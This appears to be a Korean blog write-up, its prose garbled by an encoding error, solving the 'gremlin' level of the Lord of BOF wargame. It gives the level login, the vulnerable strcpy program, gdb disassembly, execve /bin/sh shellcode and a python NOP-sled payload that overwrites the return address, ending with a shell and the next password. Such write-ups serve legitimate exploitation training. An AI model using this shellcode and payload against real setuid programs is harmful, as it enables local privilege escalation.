id : gate
pw : gate ๋ก๊ทธ์ธ ํด์ค๋๋ค.
gremlin.c ์์ค์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
[gate@localhost gate]$ cat gremlin.c /* The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */ int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); }
buffer์ ํฌ๊ธฐ๊ฐ 256byte์ด๋, ์์ฝ๋๋ฅผ ๋ฃ๊ธฐ์ ์ถฉ๋ถํ ๊ฒ ๊ฐ๋ค์..ใ
์คํ๋ ๋ ๋๋ฏธ(dummy; ์ฐ๋ ๊ธฐ)๊ฐ์ด ์ถ๊ฐ๋๋์ง gdb๋ฅผ ํตํด ์์๋ด ์๋ค.
[gate@localhost gate]$ gdb -q gremlin (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,0x100 0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1 0x804843d <main+13>: jg 0x8048456 <main+38> 0x804843f <main+15>: push 0x80484e0 0x8048444 <main+20>: call 0x8048350 <printf> 0x8048449 <main+25>: add %esp,4 0x804844c <main+28>: push 0 0x804844e <main+30>: call 0x8048360 <exit> 0x8048453 <main+35>: add %esp,4 0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] 0x8048459 <main+41>: add %eax,4 0x804845c <main+44>: mov %edx,DWORD PTR [%eax] 0x804845e <main+46>: push %edx 0x804845f <main+47>: lea %eax,[%ebp-256] 0x8048465 <main+53>: push %eax 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add %esp,8 0x804846e <main+62>: lea %eax,[%ebp-256] 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push 0x80484ec 0x804847a <main+74>: call 0x8048350 <printf> 0x804847f <main+79>: add %esp,8 0x8048482 <main+82>: leave 0x8048483 <main+83>: ret 0x8048484 <main+84>: nop 0x8048485 <main+85>: nop 0x8048486 <main+86>: nop 0x8048487 <main+87>: nop 0x8048488 <main+88>: nop 0x8048489 <main+89>: nop 0x804848a <main+90>: nop 0x804848b <main+91>: nop 0x804848c <main+92>: nop 0x804848d <main+93>: nop 0x804848e <main+94>: nop 0x804848f <main+95>: nop End of assembler dump.
<main+3>์ ๋ณด๋ฉด ๋ณ๋ค๋ฅธ ๋๋ฏธ๊ฐ ์์ด 0x100(256)byte ๋งํผ์ ํ ๋นํฉ๋๋ค.
๊ทธ๋ ๋ค๋ฉด ์คํ ์ ๋ค์๊ณผ ๊ฐ์ด ์์ผ ๊ฒ ์ ๋๋ค.
buffer(256byte) || sfp(4byte) || ret(4byte)
sfp์ ret๋ ๊ฐ๊ฐ ์คํ ํ๋ ์ํฌ์ธํฐstack frame pointer์ ๋ฆฌํด์ด๋๋ ์คreturn address์ ๋๋ค.
sfp๋ ๋์ค์ ์์ธํ ์์๋ณด๋๋ก ํ๊ณ , ์ง๊ธ ์ฐ๋ฆฌ๊ฐ ์์๋ณผ ๊ฒ์ ret์ ๋๋ค.
ret์๋ํด๋น ํจ์๊ฐ ๋๋ ๋ค์ ์คํํ ์ฝ๋ ์ฃผ์๊ฐ ๋ค์ด์์ต๋๋ค.
์ฆ, ์ด๊ณณ์ ์ํ๋ ์ฃผ์๋ก ๋ฐ๊พธ๋ฉด ํด๋น ์ฃผ์์ ์๋ ์ฝ๋๋ฅผ ์คํ ์ํฌ ์ ์๋ค๋ ๊ฒ ์ ๋๋ค!!
์ ๊ทธ๋ ๋ค๋ฉด ์ฐ๋ฆฌ๊ฐ ์ ๋ ฅํ ๊ณต๊ฒฉ ์ฝ๋๋ ์ด๋ป๊ฒ ๊ตฌ์ฑ๋์ด์ผ ํ ๊น์?
๊ณต๊ฒฉ ์ฝ๋ |
||||
buffer(256byte) |
sfp(4byte) |
ret(4byte) |
||
\x90 X 200(200byte) |
์ ์ฝ๋(24byte) |
A X 32(32byte) |
BBBB(4byte) |
\x90์ด ๋ค์ด์๋ ์ฃผ์ |
ํ๋ํ๋ ์์๋ด ์๋ค.
\x90์ nop ์ด๋ผ๋ ์ด์ ๋ธ๋ฆฌ์ด ์ธ๋ฐ์, ์๋ฌด๊ฒ๋ ํ์ง ์์ต๋๋ค.
์ฆ, nop์ ์ฌ๋ฌ๊ฐ ๋์ ์ผ๋ก์, ์ ํํ๊ฒ ์์ฝ๋์ ์ฃผ์๋ฅผ ์์๋ผ ํ์ ์์ด ์๋ง์ nop์ค ์๋ฌด ์ฃผ์๋ฅผ ์์๋ด๋ฉด
์ญ ํจ์คํ๋ค(์ผ๋ช nop slide) ์์ฝ๋๊ฐ ์คํ๋๊ฒ ๋ฉ๋๋ค.
์ ์ฝ๋๋ 24byte ์ง๋ฆฌ๋ฅผ ์ด์ฉ ํฉ์๋ค.(๊ตฌ๊ธ๋ง ํ๋ฉด ๋์ต๋๋ค^.^)
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
์, ์ด์ ๋จ์ ๊ฒ์ ret๋ฅผ ๋ฎ์๋ ๋ฃ์ \x90(nop)์ ์ฃผ์๋ฅผ ์์๋ด๋ ๊ฑด๋ฐ์. gdb๋ฅผ ์ด์ฉํด์ ์์๋ด ์๋ค.
gremlin์๋ ๋๋ฒ๊น ๊ถํ์ด ์์ผ๋,
testํ์ผ์ ๋ณต์ฌํด์ ๋๋ฒ๊น ํด ๋ด ์๋ค.
<gremlin ๋ณต์ฌ>
[gate@localhost gate]$ ls
gremlin gremlin.c
[gate@localhost gate]$ cp gremlin test
[gate@localhost gate]$ ls
gremlin gremlin.c test
<gdb ๋๋ฒ๊น >
[gate@localhost gate]$ gdb -q test (gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main: 0x8048430 <main>: push %ebp 0x8048431 <main+1>: mov %ebp,%esp 0x8048433 <main+3>: sub %esp,0x100 0x8048439 <main+9>: cmp DWORD PTR [%ebp+8],1 0x804843d <main+13>: jg 0x8048456 <main+38> 0x804843f <main+15>: push 0x80484e0 0x8048444 <main+20>: call 0x8048350 <printf> 0x8048449 <main+25>: add %esp,4 0x804844c <main+28>: push 0 0x804844e <main+30>: call 0x8048360 <exit> 0x8048453 <main+35>: add %esp,4 0x8048456 <main+38>: mov %eax,DWORD PTR [%ebp+12] 0x8048459 <main+41>: add %eax,4 0x804845c <main+44>: mov %edx,DWORD PTR [%eax] 0x804845e <main+46>: push %edx 0x804845f <main+47>: lea %eax,[%ebp-256] 0x8048465 <main+53>: push %eax 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add %esp,8 0x804846e <main+62>: lea %eax,[%ebp-256] 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push 0x80484ec 0x804847a <main+74>: call 0x8048350 <printf> 0x804847f <main+79>: add %esp,8 0x8048482 <main+82>: leave 0x8048483 <main+83>: ret 0x8048484 <main+84>: nop 0x8048485 <main+85>: nop 0x8048486 <main+86>: nop 0x8048487 <main+87>: nop 0x8048488 <main+88>: nop 0x8048489 <main+89>: nop 0x804848a <main+90>: nop 0x804848b <main+91>: nop 0x804848c <main+92>: nop 0x804848d <main+93>: nop 0x804848e <main+94>: nop 0x804848f <main+95>: nop End of assembler dump.
(gdb) b * main+59 Breakpoint 1 at 0x804846b (gdb) r `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*32 + "BBBB" + "CCCC"'` Starting program: /home/gate/test `python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f
\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*32 + "BBBB" + "CCCC"'` Breakpoint 1, 0x804846b in main () (gdb) x/100x $ebp-256 0xbffff948: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff958: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff968: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff978: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff988: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff998: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9a8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9b8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9c8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9d8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9e8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9f8: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffa08: 0x90909090 0x90909090 0x6850c031 0x68732f2f 0xbffffa18: 0x69622f68 0x50e3896e 0x99e18953 0x80cd0bb0 0xbffffa28: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa38: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa48: 0x42424242 0x43434343 0x00000000 0xbffffa94 0xbffffa58: 0xbffffaa0 0x40013868 0x00000002 0x08048380 0xbffffa68: 0x00000000 0x080483a1 0x08048430 0x00000002 0xbffffa78: 0xbffffa94 0x080482e0 0x080484bc 0x4000ae60 0xbffffa88: 0xbffffa8c 0x40013e90 0x00000002 0xbffffb8b 0xbffffa98: 0xbffffb9b 0x00000000 0xbffffca4 0xbffffcc6 0xbffffaa8: 0xbffffcd0 0xbffffcde 0xbffffcfd 0xbffffd0a 0xbffffab8: 0xbffffd22 0xbffffd3c 0xbffffd47 0xbffffd55 0xbffffac8: 0xbffffd95 0xbffffda5 0xbffffdba 0xbffffdca
๋ฏธ๋ฆฌ ๊ตฌ์ฑํด๋์๋ ๊ณต๊ฒฉ ์ฝ๋๋๋ก ๋ฃ์ด๋ณด์์ต๋๋ค. \x90(nop)์ด ์๋ ๊ณณ์ ์ฃผ์๋ค ์ค ํ๋ ๊ณจ๋ผ๋ด ์๋ค. ex) 0xbffff978
ret์ ๋ค์ด๊ฐ ๊ฐ๊น์ง ๊ตฌํ์ผ๋, ์ด์ python์ผ๋ก ๊ณต๊ฒฉ ์ฝ๋๋ฅผ ์ง๋ด ์๋ค.
`python -c 'print "\x90"*200 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A"*32 + "BBBB" + "\x78\xf9\xff\xbf"'`
โป ๋ง์ง๋ง์, ์ฃผ์๊ฐ์ ๋ฃ์ด์ค๋ ๋ฆฌํ ์๋์little endian ๋ฐฉ์์ผ๋ก, ์์ธํ ๋ด์ฉ์ ์ด๊ณณ ์์ ๊ณต๋ถํ์๊ธฐ ๋ฐ๋๋๋ค~^^
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*200 + "\x31\xc0\x50
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b
\xcd\x80" + "A"*32 + "BBBB" + "\x78\xf9\xff\xbf"'` 1๓ฟฟh//shh/binโแฐ อAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBx bash$ id uid=500(gate) gid=500(gate) euid=501(gremlin) egid=501(gremlin) groups=500(gate) bash$ my-pass euid = 501 hello bof worldbash$
์ฑ๊ณต์ ์ผ๋ก ์์ด ๋ฐ์ง๋ ๊ฒ์ ๋ณผ ์ ์์ต๋๋ค!!
'wargame ๐ดโโ ๏ธ write-up > Lord of BOF' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
4. goblin โ orc (0) | 2018.07.26 |
---|---|
3. cobolt โ goblin (0) | 2018.07.25 |
2. gremlin โ cobolt (1) | 2018.07.23 |
LoB ์์ ๋ start (0) | 2018.07.23 |